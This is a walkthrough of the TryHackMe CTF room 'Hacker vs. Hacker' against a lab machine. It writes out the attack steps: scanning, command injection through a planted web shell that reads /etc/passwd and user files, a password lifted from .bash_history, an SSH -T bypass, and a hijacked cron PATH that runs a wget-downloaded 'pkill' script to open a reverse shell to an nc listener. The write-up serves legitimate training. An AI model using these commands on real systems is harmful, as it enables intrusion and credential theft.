Try Hack Me: Hacker vs. Hacker

This room was released on 8/12/2022 and is rated easy in difficulty. Shout-out to the room creator, @Aquinas. You can access the room at https://tryhackme.com/room/hackervshacker#

Scenario: The server of a recruitment company appears to have been hacked, and the hacker has defeated all attempts by the admins to fix the machine. They can’t shut it down, so maybe we can help?

Party	IP Address
My Device	10.13.3.31
Victim Host	10.10.93.123

Questions:

What is the user.txt flag?
- thm{a******************************7}
  - Scan the victim host’s IP address for open ports and services using nmap.
  - Type the command: nmap -sC -sV -p- 10.10.93.123
  - From the scan, we can see that ports 22 and 80 are open. Forget about trying to get the initial access through SSH. We are going to exploit the web service for initial access.
  - Access the web service by opening your choice of browser and enter the victim IP.
  - Before anything else, I always check the page’s “Source Code,” by right-clicking on the page and choose View Page Source.
  - We can see that there is a comment within the code about a directory that is accessible to the public.
  - Let’s visit the directory by appending /cvs to the IP address in the URL bar.
  - Looks like a dead-end to me. Even viewing the “Source Code” comes back empty.
  - Let’s upload a test file in the “Upload CV” section of the website.
  - Uploading a .txt test file opened up a new page, upload.php. Now, we know it is using php as the new page shows the .php extension.
  - Viewing the “Source Code” of the upload.php page gives us more hints on how to exploit the web service.
  - From the message above, it looks like the target directory is cvs/, and for the Upload CV to work, it needs a .pdf in the file name. And it looks like the attacker who has taken over the victim host has already uploaded his own shell.
  - We will have to enumerate the /cvs directory even when there was a message “Directory Listing Disabled” when we visited http://10.10.93.123/cvs.
  - We will use GoBuster and limit the results to only .pdf.php and .php.pdf extensions. Type the command: gobuster dir -u http://10.10.93.123/cvs/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x pdf.php,php.pdf
  - We get another page http://10.10.93.123/cvs/shell.pdf.php. This looks like the shell that the attacker was referring too. Using “boom!” as context is a common expression when hackers get a shell.
  - Now, let’s try if this is a shell for command injection. We will append cmd to test if we can do command injection. Append: ?cmd=whoami
  - Now, let’s check if we can see user accounts from this machine by appending: ?cmd=cat /etc/passwd
  - We see a username, lachlan. Just for kicks, let’s see if we have permissions as user www-data to access user lachlan’s directory. Append: ?cmd=ls /home/lachlan
  - Since we have confirmed permissions to access /home/lachlan directory, why not try if we can read the content of user.txt file. Append: ?cmd=cat /home/lachlan/user.txt
  - That was easy enough!!!!!
What is the proof.txt flag?
- thm{7******************************4}
  - Appending: ?cmd=ls -la /home/lachlan, we see an interesting directory, /bin, and we can also check what commands were executed by looking into .bash_history file.
  - Peek inside the /bin directory by appending: ?cmd=ls /home/lachlan/bin
  - Reading the content of the file backup.sh was a dead-end.
  - But, reading the content of the file .bash_history is the opposite, we see some that appears to be password for the user lachlan.
  - When we first scan the IP address using nmap, we saw that port 22 was open. We can try and use the password that we found to ssh into the machine using lachlan as the user. Type: ssh lachlan@10.10.93.123 and enter the password when prompted.
  - As you can see in the image above, it looks like something is kicking us out of our ssh session with a “nope” message. Now, the banner that is used in TryHackMe’s room makes more sense.
  - Another file that we can check that was accessed as we’ve seen in the .bash_history file is the /etc/cron.d/persistence. We can check it by ?cmd=cat /etc/cron.d/persistence
  - Upon researching, I stumbled across IBM’s OpenSSH Guide. Under the Options page, it talked about the -t as an option to force pty allocation, and that -t can be overridden by either -N or -T
  - The image above shows us that -N didn’t work, but the -T did.
  - Now, that we have a workaround to stay logged in to SSH as user lachlan. We will find a way to escalate our privilege as root. If we look at the persistence again, you will notice that the cronjob looks inside the /home/lachlan/bin directory as can be seen declared on the PATH variable. Also, pkill is the only way we can trick the cronjob to execute our script, unlike the rest which use an absolute path.
  - Create a script and name it pkill. I tried different ones and below is the one that worked for me.
  - Start a webserver to serve the script that we created above. Type: python3 -m http.server 80
  - On our SSH session to the victim machine, change directory to /home/lachlan/bin.
  - Let’s now download our pkill script by typing: wget http://10.13.3.31/pkill
  - On our attack/Kali machine, let’s start a netcat listener. Type nc -nlvp 5555, you have to make sure that the port you use e.g. 5555 matches with the port number you entered when you created your pkill script.
  - Back to our SSH session, when we downloaded our pkill script, the script doesn’t have the execute permissions, so we will have to change the permission. Type: chmod +x pkill and hit enter.
  - As soon as we added the execute permission, and as the cronjob picked it up to execute, we get a connection on our netcat listener
  - And our final task is to read the content of root.txt. Type: cat root.txt